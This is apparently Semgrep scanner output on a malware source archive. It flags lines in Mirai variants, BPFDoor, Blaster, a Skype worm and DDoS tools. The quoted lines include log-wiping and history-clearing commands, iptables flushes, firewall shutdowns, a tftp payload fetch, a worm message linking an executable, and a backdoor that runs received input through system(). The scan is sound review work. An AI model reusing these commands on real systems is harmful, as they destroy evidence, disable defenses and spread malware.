pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.XACK.c line 183
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.XSYN.c line 183
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ZAP.c line 187
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.QUAKE3.c line 179
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
struct thread_data td[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 302
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
char *buffer = (char *)malloc(lSize*sizeof(char)); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ACK.c line 164
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 349
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
char *buffer = (char *)malloc(lSize*sizeof(char)); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 363
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 379
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.CHARGEN.c line 165
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.CHARGEN.c line 170
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
struct thread_data td[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ESSYN-ACK.c line 169
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ESSYN.c line 185
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 251
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
char *buffer = (char *)malloc(lSize*sizeof(char)); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 265
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 281
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.DOMINATE.c line 167
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1199
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, text_payload, host, uagents[(rand() % 59)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/Win32.Blaster.cpp line 1021
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `cmdstr`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(cmdstr, "%s\n", MSBLAST_EXE); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/Win32.Blaster.cpp line 1017
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `cmdstr`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(cmdstr, "start %s\n", MSBLAST_EXE); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/Win32.Blaster.cpp line 995
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `cmdstr`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(cmdstr, "tftp -i %s GET %s\n", -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/Win32.Blaster.cpp line 252
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `myhostname`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(myhostname, "%s", inet_ntoa(in)); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/Worm.Win32.Warskype.c line 86
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `msg_cmd`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/Worm.Win32.Warskype.c line 43
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `msg`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(msg,"SEARCH USERS %s",rnd_nick); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /MSDOS/V-Index/Virus.MSDOS.Unknown.vlp1.c line 314
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `tempfile`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(tempfile, "%s%d", TEMP, j++); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1179
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, uagents[(rand() % 59)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 938
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `CleanDevice`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(CleanDevice, "rm -rf %s;", tempdirs); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1178
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, useragents[(rand() % 36)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1158
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1340
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, useragents[(rand() % 36)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1320
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 1016
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `parseError`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(parseError, "I don't understand '%s'", remainder); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 493
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `parseError`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(parseError, "I don't understand '%s'", remainder); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 588
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `parseError`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(parseError, "I don't understand '%s'", remainder); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1159
- Likely real
- Yes, 100% confidence
The function `sprintf` does not impose any size limitation to what it writes to `request`. That may lead to a stack buffer overflow if there is no validation on the size of the input.
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uagents[(rand() % 59)]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 79
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 1451
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 751
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 715
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 476
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java line 171
- Likely real
- Yes, 99% confidence
Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.
e.printStackTrace(); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.BotenaGo.go line 2840
- Likely real
- Yes, 77% confidence
Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.
recvServ, err := net.Listen("tcp", "0.0.0.0:19412") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.BotenaGo.go line 13
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 373
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(input); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.RedMenshenBPFDoor.c line 683
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Trojans/Trojan.Linux.TrojoDaemon.c line 84
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(addr[ic]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1506
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("history -c"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1505
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf ~/.bash_history"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1504
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("service firewalld stop"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1503
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("/sbin/iptables -F; /sbin/iptables -X"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1502
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("service iptables stop"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1501
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 python"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1500
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 perl"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1499
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 busybox"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1498
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("iptables -F"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1497
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /bin/netstat"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1496
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /tmp/*"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1495
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /var/log/wtmp"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1494
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1226
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(command); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1814
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf ~/.bash_history"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Backdoors/Backdoor.Linux.ShadyShell.c line 22
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
{**v=0;break;}if(p)continue;system(b);recv(c,&b,1024,0);}while(1);exit(0);} -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.RedMenshenBPFDoor.c line 688
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 371
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("killall -9 sshd;pkill -9 sshd"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1803
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1804
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /var/log/wtmp"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1805
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /tmp/*"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1806
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("rm -rf /bin/netstat"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1807
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("iptables -F"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1808
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 busybox"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1809
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 perl"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1810
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("pkill -9 python"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1811
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("service iptables stop"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1812
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("/sbin/iptables -F; /sbin/iptables -X"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1813
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("service firewalld stop"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1815
- Likely real
- Yes, 99% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system("history -c"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.RedMenshenBPFDoor.c line 425
- Likely real
- Yes, 98% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(cmd); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.RedMenshenBPFDoor.c line 756
- Likely real
- Yes, 98% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(rcmd); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Linux.RedMenshenBPFDoor.c line 758
- Likely real
- Yes, 98% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(dcmd); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 365
- Likely real
- Yes, 98% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(buf); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 376
- Likely real
- Yes, 98% confidence
Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.
system(buf); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1738
- Likely real
- Yes, 97% confidence
This call to `memset` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `linebuf` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.
memset(linebuf, 0, 4096); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1576
- Likely real
- Yes, 97% confidence
This call to `memset` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `linebuf` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.
memset(linebuf, 0, 4096);
No findings match these filters.